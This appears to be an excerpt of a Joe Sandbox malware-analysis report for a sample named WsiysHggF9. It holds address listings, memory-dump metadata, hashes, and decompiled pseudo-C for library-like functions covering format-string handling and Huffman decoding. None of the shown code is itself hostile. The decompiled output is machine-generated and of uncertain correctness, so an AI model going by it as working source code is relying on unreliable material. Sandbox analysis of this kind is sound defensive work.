0x00253ac7
0x00253ac9
0x00253ad2
0x00253ad4
0x00253ae5
0x00253ae7
0x00253aee
0x00253af4
0x00253afa
0x00253afe
0x00253b2b
0x00253b2c
0x00253b2d
0x00253b31
0x00253b33
0x00253b51
0x00253b54
0x00253b60
0x00253b62
0x00253b66
0x00253b6b
0x00253b78
0x00253b7a
0x00253b7d
0x00253b7f
0x00253b7f
0x00253b81
0x00253b89
0x00253b89
0x00253b8c
0x00253ba3
0x00253ba6
0x00253bf2
0x00253bf4
0x00253c11
0x00253c11
0x00253c14
0x00253bf6
0x00253c00
0x00253c03
0x00253c03
0x00253c18
0x00253c1d
0x00253c1d
0x00253c1e
0x00253c24
0x00000000
0x00000000
0x00253c26
0x00253c2b
0x00253c2c
0x00253c2e
0x00000000
0x00000000
0x00253c30
0x00253c30
0x00000000
0x00253c30
0x00000000
0x00253c1d
0x00253ba8
0x00253bab
0x00253bad
0x00253bca
0x00253bca
0x00253bcd
0x00253baf
0x00253bb9
0x00253bbc
0x00253bbc
0x00253bd1
0x00253bd6
0x00253bd8
0x00253c53
0x00253c53
0x00253cd2
0x00000000
0x00253bda
0x00253bda
0x00253bda
0x00253bdb
0x00253be1
0x00000000
0x00000000
0x00253be7
0x00253beb
0x00253bec
0x00253bee
0x00000000
0x00000000
0x00000000
0x00253bf0
0x00000000
0x00253bda
0x00253bd8
0x00253b99
0x00253b9d
0x00000000
0x00253b9d
0x00253b3c
0x00253b3c
0x00253b3e
0x00253b3e
0x00253b40
0x00000000
0x00000000
0x00253b42
0x00253b43
0x00253b46
0x00253b49
0x00000000
0x00000000
0x00000000
0x00253b4b
0x00253b4d
0x00000000
0x00253b4d
0x00253b02
0x00253b05
0x00253b0f
0x00253b17
0x00253b1c
0x00253b1f
0x00000000
0x00253b1f
0x00253ad8
0x00253add
0x00253adf
0x00000000
0x00000000
0x00000000
0x00253c36
0x00253c36
0x00253c36
0x00253c42
0x00253c44
0x00253c4b
0x00253c51
0x00253c57
0x00253c64
0x00253c69
0x00253c6a
0x00253c6f
0x00253c79
0x00253c81
0x00253c82
0x00253c87
0x00253c91
0x00253c99
0x00253c9a
0x00253c9f
0x00253ca9
0x00253cb1
0x00253cb2
0x00253cc8
0x00253cd0
0x00000000
0x00253cd0
0x00000000
0x00253c51
0x002539f7
0x00253a01
0x00253a02
0x00000000
0x00253a09
0x002539c6
0x002539cd
0x00000000
0x00000000
0x00253cdc

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66462eb08bd74f8c30c79f1e955b78a3e9fbc8ee5d976a6d57d0dc80841f2e89
Instruction ID: 90baa1c02ab953939048d100814cce5f1ec8047d6da5aebc43c28559048bd111
Opcode Fuzzy Hash: 66462eb08bd74f8c30c79f1e955b78a3e9fbc8ee5d976a6d57d0dc80841f2e89
Instruction Fuzzy Hash: 4791BDB12243498BD728EF64D891BBEB3D4AB90345F10092DED8787282EA74D62CC749

Uniqueness

Uniqueness Score: -1.00%

Function 002647A9 Relevance: .2, Instructions: 237
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 83%

			E002647A9(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t52;
				signed int _t54;
				signed int _t55;
				void* _t56;
				signed char _t60;
				signed char _t62;
				signed int _t64;
				void* _t65;
				signed int _t66;
				signed char _t75;
				signed char _t78;
				void* _t86;
				void* _t88;
				signed char _t90;
				signed char _t92;
				signed int _t93;
				signed int _t96;
				signed int _t98;
				signed int _t99;
				signed int _t103;
				signed int* _t104;
				void* _t106;
				signed int _t112;
				unsigned int _t114;
				signed char _t116;
				void* _t124;
				unsigned int _t125;
				void* _t126;
				signed int _t127;
				short _t128;
				void* _t131;
				void* _t133;
				void* _t135;
				signed int _t136;
				void* _t137;
				void* _t139;
				void* _t140;

				_t126 = __edi;
				_t52 =  *0x27d668; // 0xdef7aace
				_v8 = _t52 ^ _t136;
				_t135 = __ecx;
				_t103 = 0;
				_t124 = 0x41;
				_t54 =  *(__ecx + 0x32) & 0x0000ffff;
				_t106 = 0x58;
				_t139 = _t54 - 0x64;
				if(_t139 > 0) {
					__eflags = _t54 - 0x70;
					if(__eflags > 0) {
						_t55 = _t54 - 0x73;
						__eflags = _t55;
						if(_t55 == 0) {
							L9:
							_t56 = E002651DB(_t135);
							L10:
							if(_t56 != 0) {
								__eflags =  *((intOrPtr*)(_t135 + 0x30)) - _t103;
								if( *((intOrPtr*)(_t135 + 0x30)) != _t103) {
									L71:
									L72:
									return E0025EA8A(_v8 ^ _t136);
								}
								_t125 =  *(_t135 + 0x20);
								_push(_t126);
								_v16 = _t103;
								_t60 = _t125 >> 4;
								_v12 = _t103;
								_t127 = 0x20;
								__eflags = 1 & _t60;
								if((1 & _t60) == 0) {
									L46:
									_t112 =  *(_t135 + 0x32) & 0x0000ffff;
									__eflags = _t112 - 0x78;
									if(_t112 == 0x78) {
										L48:
										_t62 = _t125 >> 5;
										__eflags = _t62 & 0x00000001;
										if((_t62 & 0x00000001) == 0) {
											L50:
											__eflags = 0;
											L51:
											__eflags = _t112 - 0x61;
											if(_t112 == 0x61) {
												L54:
												_t64 = 1;
												L55:
												_t128 = 0x30;
												__eflags = _t64;
												if(_t64 != 0) {
													L57:
													_t65 = 0x58;
													 *((short*)(_t136 + _t103 * 2 - 0xc)) = _t128;
													__eflags = _t112 - _t65;
													if(_t112 == _t65) {
														L60:
														_t66 = 1;
														L61:
														__eflags = _t66;
														asm("cbw");
														 *((short*)(_t136 + _t103 * 2 - 0xa)) = ((_t66 & 0xffffff00 | _t66 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
														_t103 = _t103 + 2;
														__eflags = _t103;
														L62:
														_t131 =  *((intOrPtr*)(_t135 + 0x24)) -  *((intOrPtr*)(_t135 + 0x38)) - _t103;
														__eflags = _t125 & 0x0000000c;
														if((_t125 & 0x0000000c) == 0) {
															E00263A70(_t135 + 0x448, 0x20, _t131, _t135 + 0x18);
															_t137 = _t137 + 0x10;
														}
														E002654F6(_t135 + 0x448,  &_v16, _t103, _t135 + 0x18,  *((intOrPtr*)(_t135 + 0xc)));
														_t114 =  *(_t135 + 0x20);
														_t104 = _t135 + 0x18;
														_t75 = _t114 >> 3;
														__eflags = _t75 & 0x00000001;
														if((_t75 & 0x00000001) != 0) {
															_t116 = _t114 >> 2;
															__eflags = _t116 & 0x00000001;
															if((_t116 & 0x00000001) == 0) {
																E00263A70(_t135 + 0x448, 0x30, _t131, _t104);
																_t137 = _t137 + 0x10;
															}
														}
														E002653D8(_t135, 0);
														__eflags =  *_t104;
														if( *_t104 >= 0) {
															_t78 =  *(_t135 + 0x20) >> 2;
															__eflags = _t78 & 0x00000001;
															if((_t78 & 0x00000001) != 0) {
																E00263A70(_t135 + 0x448, 0x20, _t131, _t104);
															}
														}
														goto L71;
													}
													_t86 = 0x41;
													__eflags = _t112 - _t86;
													if(_t112 == _t86) {
														goto L60;
													}
													_t66 = 0;
													goto L61;
												}
												__eflags = _t64;
												if(_t64 == 0) {
													goto L62;
												}
												goto L57;
											}
											_t133 = 0x41;
											__eflags = _t112 - _t133;
											if(_t112 == _t133) {
												goto L54;
											}
											_t64 = 0;
											goto L55;
										}
										goto L51;
									}
									_t88 = 0x58;
									__eflags = _t112 - _t88;
									if(_t112 != _t88) {
										goto L50;
									}
									goto L48;
								}
								_t90 = _t125 >> 6;
								__eflags = 1 & _t90;
								if((1 & _t90) == 0) {
									__eflags = 1 & _t125;
									if((1 & _t125) == 0) {
										_t92 = _t125 >> 1;
										__eflags = 1 & _t92;
										if((1 & _t92) == 0) {
											goto L46;
										}
										_v16 = _t127;
										L45:
										_t103 = 1;
										goto L46;
									}
									_push(0x2b);
									L40:
									_pop(_t93);
									_v16 = _t93;
									goto L45;
								}
								_push(0x2d);
								goto L40;
							}
							L11:
							goto L72;
						}
						_t96 = _t55;
						__eflags = _t96;
						if(__eflags == 0) {
							L28:
							_push(_t103);
							_push(0xa);
							L29:
							_t56 = E00264F73(_t135, _t126, __eflags);
							goto L10;
						}
						__eflags = _t96 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t56 = E00265150(__ecx);
						goto L10;
					}
					__eflags = _t54 - 0x67;
					if(_t54 <= 0x67) {
						L30:
						_t56 = E00264CD9(_t103, _t135);
						goto L10;
					}
					__eflags = _t54 - 0x69;
					if(_t54 == 0x69) {
						L27:
						_t3 = _t135 + 0x20;
						 *_t3 =  *(_t135 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L28;
					}
					__eflags = _t54 - 0x6e;
					if(_t54 == 0x6e) {
						_t56 = E002650BD(__ecx, _t124);
						goto L10;
					}
					__eflags = _t54 - 0x6f;
					if(_t54 != 0x6f) {
						goto L11;
					}
					_t56 = E00265131(__ecx);
					goto L10;
				}
				if(_t139 == 0) {
					goto L27;
				}
				_t140 = _t54 - _t106;
				if(_t140 > 0) {
					_t98 = _t54 - 0x5a;
					__eflags = _t98;
					if(_t98 == 0) {
						_t56 = E00264B1C(__ecx);
						goto L10;
					}
					_t99 = _t98 - 7;
					__eflags = _t99;
					if(_t99 == 0) {
						goto L30;
					}
					__eflags = _t99;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t56 = E00264EDB(_t135, __eflags, _t103);
					goto L10;
				}
				if(_t140 == 0) {
					_push(1);
					goto L13;
				}
				if(_t54 == _t124) {
					goto L30;
				}
				if(_t54 == 0x43) {
					goto L17;
				}
				if(_t54 <= 0x44) {
					goto L11;
				}
				if(_t54 <= 0x47) {
					goto L30;
				}
				if(_t54 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x002647a9
0x002647b1
0x002647b8
0x002647bd
0x002647bf
0x002647c3
0x002647c6
0x002647ca
0x002647cb
0x002647ce
0x0026483b
0x0026483e
0x0026488d
0x0026488d
0x00264890
0x002647fc
0x002647fe
0x00264803
0x00264805
0x002648ab
0x002648ae
0x002649f4
0x002649f6
0x00264a05
0x00264a05
0x002648b4
0x002648b9
0x002648bc
0x002648bf
0x002648c3
0x002648c9
0x002648ca
0x002648cc
0x002648f6
0x002648f6
0x002648fa
0x002648fd
0x00264907
0x00264909
0x0026490c
0x0026490e
0x00264914
0x00264914
0x00264916
0x00264916
0x00264919
0x00264927
0x00264927
0x00264929
0x0026492b
0x0026492c
0x0026492e
0x00264934
0x00264936
0x00264937
0x0026493c
0x0026493f
0x0026494d
0x0026494d
0x0026494f
0x0026494f
0x0026495a
0x0026495c
0x00264961
0x00264961
0x00264964
0x0026496a
0x0026496c
0x0026496f
0x0026497f
0x00264984
0x00264984
0x00264999
0x0026499e
0x002649a1
0x002649a6
0x002649a9
0x002649ab
0x002649ad
0x002649b0
0x002649b3
0x002649c0
0x002649c5
0x002649c5
0x002649b3
0x002649cc
0x002649d1
0x002649d4
0x002649d9
0x002649dc
0x002649de
0x002649eb
0x002649f0
0x002649de
0x00000000
0x002649f3
0x00264943
0x00264944
0x00264947
0x00000000
0x00000000
0x00264949
0x00000000
0x00264949
0x00264930
0x00264932
0x00000000
0x00000000
0x00000000
0x00264932
0x0026491d
0x0026491e
0x00264921
0x00000000
0x00000000
0x00264923
0x00000000
0x00264923
0x00000000
0x00264910
0x00264901
0x00264902
0x00264905
0x00000000
0x00000000
0x00000000
0x00264905
0x002648d0
0x002648d3
0x002648d5
0x002648e0
0x002648e2
0x002648ea
0x002648ec
0x002648ee
0x00000000
0x00000000
0x002648f0
0x002648f4
0x002648f4
0x00000000
0x002648f4
0x002648e4
0x002648d9
0x002648d9
0x002648da
0x00000000
0x002648da
0x002648d7
0x00000000
0x002648d7
0x0026480b
0x00000000
0x0026480b
0x00264897
0x00264897
0x0026489a
0x0026486c
0x0026486c
0x0026486d
0x0026486f
0x00264871
0x00000000
0x00264871
0x0026489c
0x0026489f
0x00000000
0x00000000
0x002648a5
0x00264814
0x00264814
0x00000000
0x00264814
0x00264840
0x00264883
0x00000000
0x00264883
0x00264842
0x00264845
0x00264878
0x0026487a
0x00000000
0x0026487a
0x00264847
0x0026484a
0x00264868
0x00264868
0x00264868
0x00264868
0x00000000
0x00264868
0x0026484c
0x0026484f
0x00264861
0x00000000
0x00264861
0x00264851
0x00264854
0x00000000
0x00000000
0x00264858
0x00000000
0x00264858
0x002647d0
0x00000000
0x00000000
0x002647d6
0x002647d8
0x00264818
0x00264818
0x0026481b
0x00264834
0x00000000
0x00264834
0x0026481d
0x0026481d
0x00264820
0x00000000
0x00000000
0x00264823
0x00264826
0x00000000
0x00000000
0x00264828
0x0026482b
0x00000000
0x0026482b
0x002647da
0x00264812
0x00000000
0x00264812
0x002647de
0x00000000
0x00000000
0x002647e7
0x00000000
0x00000000
0x002647ec
0x00000000
0x00000000
0x002647f1
0x00000000
0x00000000
0x002647fa
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dacc0a06ab24d418fb85d4b5430f1e4fc561bad3c87a09715681677069b5bd11
Instruction ID: 8f8d031ddd828aeb1ff27aff50045d38ce63e1dd73b4a5a4d35bc9d7fde7b6e7
Opcode Fuzzy Hash: dacc0a06ab24d418fb85d4b5430f1e4fc561bad3c87a09715681677069b5bd11
Instruction Fuzzy Hash: A6616831A7078BA6DE38BD688C91BBF6394EB41744F10061AE8C3DB281D651EDF2C755

Uniqueness

Uniqueness Score: -1.00%

Function 00253CDD Relevance: .2, Instructions: 232
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E00253CDD(void* __ecx) {
				signed int _t71;
				signed int _t72;
				signed int _t73;
				signed int _t76;
				signed int _t77;
				signed int _t78;
				signed int _t90;
				signed int _t94;
				signed int _t109;
				intOrPtr* _t111;
				signed int _t114;
				intOrPtr _t115;
				signed int _t121;
				signed int _t124;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t135;
				signed int _t138;
				intOrPtr* _t139;
				intOrPtr* _t150;
				void* _t151;
				signed int _t154;
				unsigned int _t159;
				signed int _t162;
				signed int _t164;
				signed int _t165;
				intOrPtr* _t168;
				void* _t170;
				void* _t171;

				_t170 = __ecx;
				if( *((char*)( *((intOrPtr*)(_t171 + 8)) + 0x11)) != 0) {
					_t168 =  *((intOrPtr*)(_t171 + 0x1d8));
					__eflags =  *((char*)(_t168 + 8));
					if( *((char*)(_t168 + 8)) != 0) {
						L5:
						_t164 = 0;
						__eflags = 0;
						do {
							_t109 = E0024A73B(_t168) >> 0x0000000c & 0x000000ff;
							E0024A724(_t168, 4);
							__eflags = _t109 - 0xf;
							if(_t109 != 0xf) {
								 *(_t171 + _t164 + 0x18) = _t109;
								goto L14;
							}
							_t124 = E0024A73B(_t168) >> 0x0000000c & 0x000000ff;
							E0024A724(_t168, 4);
							__eflags = _t124;
							if(_t124 != 0) {
								_t125 = _t124 + 2;
								__eflags = _t125;
								while(1) {
									_t125 = _t125 - 1;
									__eflags = _t164 - 0x14;
									if(_t164 >= 0x14) {
										break;
									}
									 *(_t171 + _t164 + 0x18) = 0;
									_t164 = _t164 + 1;
									__eflags = _t125;
									if(_t125 != 0) {
										continue;
									}
									break;
								}
								_t164 = _t164 - 1;
								goto L14;
							}
							 *(_t171 + _t164 + 0x18) = 0xf;
							L14:
							_t164 = _t164 + 1;
							__eflags = _t164 - 0x14;
						} while (_t164 < 0x14);
						_push(0x14);
						_t111 =  *((intOrPtr*)(_t171 + 0x1e8)) + 0x3bb0;
						_push(_t111);
						_push(_t171 + 0x18);
						 *((intOrPtr*)(_t171 + 0x20)) = _t111;
						E00252FE6();
						_t165 = 0;
						__eflags = 0;
						do {
							__eflags =  *((char*)(_t168 + 8));
							if( *((char*)(_t168 + 8)) != 0) {
								L19:
								_t71 = E0024A740(_t168);
								_t72 =  *(_t111 + 0x84);
								_t159 = _t71 & 0x0000fffe;
								__eflags = _t159 -  *((intOrPtr*)(_t111 + 4 + _t72 * 4));
								if(_t159 >=  *((intOrPtr*)(_t111 + 4 + _t72 * 4))) {
									_t131 = 0xf;
									_t73 = _t72 + 1;
									 *(_t171 + 0x10) = _t131;
									__eflags = _t73 - _t131;
									if(_t73 >= _t131) {
										L27:
										_t133 =  *(_t168 + 4) +  *(_t171 + 0x10);
										 *_t168 =  *_t168 + (_t133 >> 3);
										_t76 =  *(_t171 + 0x10);
										 *(_t168 + 4) = _t133 & 0x00000007;
										_t135 = 0x10;
										_t138 =  *((intOrPtr*)(_t111 + 0x44 + _t76 * 4)) + (_t159 -  *((intOrPtr*)(_t111 + _t76 * 4)) >> _t135 - _t76);
										__eflags = _t138 -  *_t111;
										asm("sbb eax, eax");
										_t77 = _t76 & _t138;
										__eflags = _t77;
										_t78 =  *(_t111 + 0xc88 + _t77 * 2) & 0x0000ffff;
										L28:
										__eflags = _t78 - 0x10;
										if(_t78 >= 0x10) {
											_t139 = _t168;
											__eflags = _t78 - 0x12;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t114 = (E0024A73B(_t139) >> 9) + 0xb;
													__eflags = _t114;
													_push(7);
												} else {
													_t114 = (E0024A73B(_t139) >> 0xd) + 3;
													_push(3);
												}
												E0024A724(_t168);
												while(1) {
													_t114 = _t114 - 1;
													__eflags = _t165 - 0x1ae;
													if(_t165 >= 0x1ae) {
														goto L46;
													}
													 *(_t171 + _t165 + 0x2c) = 0;
													_t165 = _t165 + 1;
													__eflags = _t114;
													if(_t114 != 0) {
														continue;
													}
													L44:
													_t111 =  *((intOrPtr*)(_t171 + 0x14));
													goto L45;
												}
												break;
											}
											__eflags = _t78 - 0x10;
											if(_t78 != 0x10) {
												_t121 = (E0024A73B(_t139) >> 9) + 0xb;
												__eflags = _t121;
												_push(7);
											} else {
												_t121 = (E0024A73B(_t139) >> 0xd) + 3;
												_push(3);
											}
											E0024A724(_t168);
											__eflags = _t165;
											if(_t165 == 0) {
												L48:
												_t90 = 0;
												L50:
												L51:
												return _t90;
											} else {
												while(1) {
													_t121 = _t121 - 1;
													__eflags = _t165 - 0x1ae;
													if(_t165 >= 0x1ae) {
														goto L46;
													}
													 *(_t171 + _t165 + 0x2c) =  *((intOrPtr*)(_t171 + _t165 + 0x2b));
													_t165 = _t165 + 1;
													__eflags = _t121;
													if(_t121 != 0) {
														continue;
													}
													goto L44;
												}
												break;
											}
										}
										 *(_t171 + _t165 + 0x2c) = _t78;
										_t165 = _t165 + 1;
										goto L45;
									}
									_t150 = _t111 + (_t73 + 1) * 4;
									while(1) {
										__eflags = _t159 -  *_t150;
										if(_t159 <  *_t150) {
											break;
										}
										_t73 = _t73 + 1;
										_t150 = _t150 + 4;
										__eflags = _t73 - 0xf;
										if(_t73 < 0xf) {
											continue;
										}
										goto L27;
									}
									 *(_t171 + 0x10) = _t73;
									goto L27;
								}
								_t151 = 0x10;
								_t162 = _t159 >> _t151 - _t72;
								_t154 = ( *(_t162 + _t111 + 0x88) & 0x000000ff) +  *(_t168 + 4);
								 *_t168 =  *_t168 + (_t154 >> 3);
								 *(_t168 + 4) = _t154 & 0x00000007;
								_t78 =  *(_t111 + 0x488 + _t162 * 2) & 0x0000ffff;
								goto L28;
							}
							__eflags =  *_t168 -  *((intOrPtr*)(_t170 + 0x84)) - 5;
							if( *_t168 <=  *((intOrPtr*)(_t170 + 0x84)) - 5) {
								goto L19;
							}
							_t94 = E0025476B(_t170);
							__eflags = _t94;
							if(_t94 == 0) {
								goto L48;
							}
							goto L19;
							L45:
							__eflags = _t165 - 0x1ae;
						} while (_t165 < 0x1ae);
						L46:
						 *((char*)(_t170 + 0xe662)) = 1;
						__eflags =  *((char*)(_t168 + 8));
						if( *((char*)(_t168 + 8)) != 0) {
							L49:
							_t115 =  *((intOrPtr*)(_t171 + 0x1e8));
							_push(0x132);
							_push(_t115);
							_push(_t171 + 0x2c);
							E00252FE6();
							_push(0x40);
							_push(_t115 + 0xeec);
							_push(_t171 + 0x166);
							E00252FE6();
							_push(0x10);
							_push(_t115 + 0x1dd8);
							_push(_t171 + 0x1a6);
							E00252FE6();
							_push(0x2c);
							_push(_t115 + 0x2cc4);
							_push(_t171 + 0x1b6);
							E00252FE6();
							_t90 = 1;
							goto L50;
						}
						__eflags =  *_t168 -  *((intOrPtr*)(_t170 + 0x84));
						if( *_t168 <=  *((intOrPtr*)(_t170 + 0x84))) {
							goto L49;
						}
						goto L48;
					}
					__eflags =  *_t168 -  *((intOrPtr*)(__ecx + 0x84)) - 0x19;
					if( *_t168 <=  *((intOrPtr*)(__ecx + 0x84)) - 0x19) {
						goto L5;
					}
					_t90 = E0025476B(__ecx);
					__eflags = _t90;
					if(_t90 == 0) {
						goto L51;
					}
					goto L5;
				}
				return 1;
			}

0x00253cec
0x00253cee
0x00253cf8
0x00253cff
0x00253d03
0x00253d1f
0x00253d20
0x00253d20
0x00253d23
0x00253d31
0x00253d34
0x00253d39
0x00253d3c
0x00253d75
0x00000000
0x00253d75
0x00253d4c
0x00253d4f
0x00253d54
0x00253d56
0x00253d5f
0x00253d5f
0x00253d62
0x00253d62
0x00253d63
0x00253d66
0x00000000
0x00000000
0x00253d68
0x00253d6d
0x00253d6e
0x00253d70
0x00000000
0x00000000
0x00000000
0x00253d70
0x00253d72
0x00000000
0x00253d72
0x00253d58
0x00253d79
0x00253d79
0x00253d7a
0x00253d7a
0x00253d8a
0x00253d8c
0x00253d94
0x00253d95
0x00253d96
0x00253d9a
0x00253d9f
0x00253d9f
0x00253da1
0x00253da1
0x00253da5
0x00253dc3
0x00253dc5
0x00253dcc
0x00253dd2
0x00253dd8
0x00253ddc
0x00253e09
0x00253e0a
0x00253e0b
0x00253e0f
0x00253e11
0x00253e2c
0x00253e2f
0x00253e3b
0x00253e3d
0x00253e41
0x00253e46
0x00253e52
0x00253e54
0x00253e56
0x00253e58
0x00253e58
0x00253e5a
0x00253e62
0x00253e62
0x00253e65
0x00253e71
0x00253e73
0x00253e76
0x00253ec0
0x00253edd
0x00253edd
0x00253ee0
0x00253ec2
0x00253ecc
0x00253ecf
0x00253ecf
0x00253ee4
0x00253ee9
0x00253ee9
0x00253eea
0x00253ef0
0x00000000
0x00000000
0x00253ef2
0x00253ef7
0x00253ef8
0x00253efa
0x00000000
0x00000000
0x00253efc
0x00253efc
0x00000000
0x00253efc
0x00000000
0x00253ee9
0x00253e78
0x00253e7b
0x00253e98
0x00253e98
0x00253e9b
0x00253e7d
0x00253e87
0x00253e8a
0x00253e8a
0x00253e9f
0x00253ea4
0x00253ea6
0x00253f23
0x00253f23
0x00253f8a
0x00253f8c
0x00000000
0x00253ea8
0x00253ea8
0x00253ea8
0x00253ea9
0x00253eaf
0x00000000
0x00000000
0x00253eb5
0x00253eb9
0x00253eba
0x00253ebc
0x00000000
0x00000000
0x00000000
0x00253ebe
0x00000000
0x00253ea8
0x00253ea6
0x00253e67
0x00253e6b
0x00000000
0x00253e6b
0x00253e16
0x00253e19
0x00253e19
0x00253e1b
0x00000000
0x00000000
0x00253e1d
0x00253e1e
0x00253e21
0x00253e24
0x00000000
0x00000000
0x00000000
0x00253e26
0x00253e28
0x00000000
0x00253e28
0x00253de0
0x00253de3
0x00253ded
0x00253df5
0x00253dfa
0x00253dfd
0x00000000
0x00253dfd
0x00253db0
0x00253db2
0x00000000
0x00000000
0x00253db6
0x00253dbb
0x00253dbd
0x00000000
0x00000000
0x00000000
0x00253f00
0x00253f00
0x00253f00
0x00253f0c
0x00253f0c
0x00253f13
0x00253f17
0x00253f27
0x00253f27
0x00253f32
0x00253f37
0x00253f38
0x00253f3b
0x00253f40
0x00253f4a
0x00253f52
0x00253f53
0x00253f58
0x00253f62
0x00253f6a
0x00253f6b
0x00253f70
0x00253f78
0x00253f80
0x00253f83
0x00253f88
0x00000000
0x00253f88
0x00253f1b
0x00253f21
0x00000000
0x00000000
0x00000000
0x00253f21
0x00253d0e
0x00253d10
0x00000000
0x00000000
0x00253d12
0x00253d17
0x00253d19
0x00000000
0x00000000
0x00000000
0x00253d19
0x00000000

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a18d49064e165be0d32872db8d66ea11280a91596ba4a1cde63f58a8bde047c
Instruction ID: 0281733bc07bb2a305458b31fed7d69855b8e25ed57639c399765c22e4f9da7b
Opcode Fuzzy Hash: 3a18d49064e165be0d32872db8d66ea11280a91596ba4a1cde63f58a8bde047c
Instruction Fuzzy Hash: DB717C716243464BDB34DE28C8C1B7D77F5AF90345F00192DED868B682DA74CAACC75A

Uniqueness

Uniqueness Score: -1.00%

Function 0026457A Relevance: .2, Instructions: 214
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 88%

			E0026457A(void* __ecx) {
				char _v6;
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t49;
				signed int _t50;
				void* _t51;
				signed char _t54;
				signed char _t56;
				signed int _t57;
				signed int _t58;
				signed char _t67;
				signed char _t69;
				signed char _t71;
				signed char _t80;
				signed char _t82;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed char _t92;
				void* _t95;
				intOrPtr _t100;
				unsigned int _t102;
				signed char _t104;
				void* _t112;
				unsigned int _t113;
				void* _t114;
				signed int _t115;
				signed int* _t116;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t124;
				void* _t125;

				_push(__ecx);
				_t119 = __ecx;
				_t92 = 1;
				_t49 =  *((char*)(__ecx + 0x31));
				_t124 = _t49 - 0x64;
				if(_t124 > 0) {
					__eflags = _t49 - 0x70;
					if(__eflags > 0) {
						_t50 = _t49 - 0x73;
						__eflags = _t50;
						if(_t50 == 0) {
							L9:
							_t51 = E00265168(_t119);
							L10:
							if(_t51 != 0) {
								__eflags =  *((char*)(_t119 + 0x30));
								if( *((char*)(_t119 + 0x30)) == 0) {
									_t113 =  *(_t119 + 0x20);
									_push(_t114);
									_v8 = 0;
									_t115 = 0;
									_v6 = 0;
									_t54 = _t113 >> 4;
									__eflags = _t92 & _t54;
									if((_t92 & _t54) == 0) {
										L46:
										_t100 =  *((intOrPtr*)(_t119 + 0x31));
										__eflags = _t100 - 0x78;
										if(_t100 == 0x78) {
											L48:
											_t56 = _t113 >> 5;
											__eflags = _t92 & _t56;
											if((_t92 & _t56) != 0) {
												L50:
												__eflags = _t100 - 0x61;
												if(_t100 == 0x61) {
													L53:
													_t57 = 1;
													L54:
													__eflags = _t92;
													if(_t92 != 0) {
														L56:
														 *((char*)(_t121 + _t115 - 4)) = 0x30;
														__eflags = _t100 - 0x58;
														if(_t100 == 0x58) {
															L59:
															_t58 = 1;
															L60:
															__eflags = _t58;
															 *((char*)(_t121 + _t115 - 3)) = ((_t58 & 0xffffff00 | _t58 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
															_t115 = _t115 + 2;
															__eflags = _t115;
															L61:
															_t95 =  *((intOrPtr*)(_t119 + 0x24)) -  *((intOrPtr*)(_t119 + 0x38)) - _t115;
															__eflags = _t113 & 0x0000000c;
															if((_t113 & 0x0000000c) == 0) {
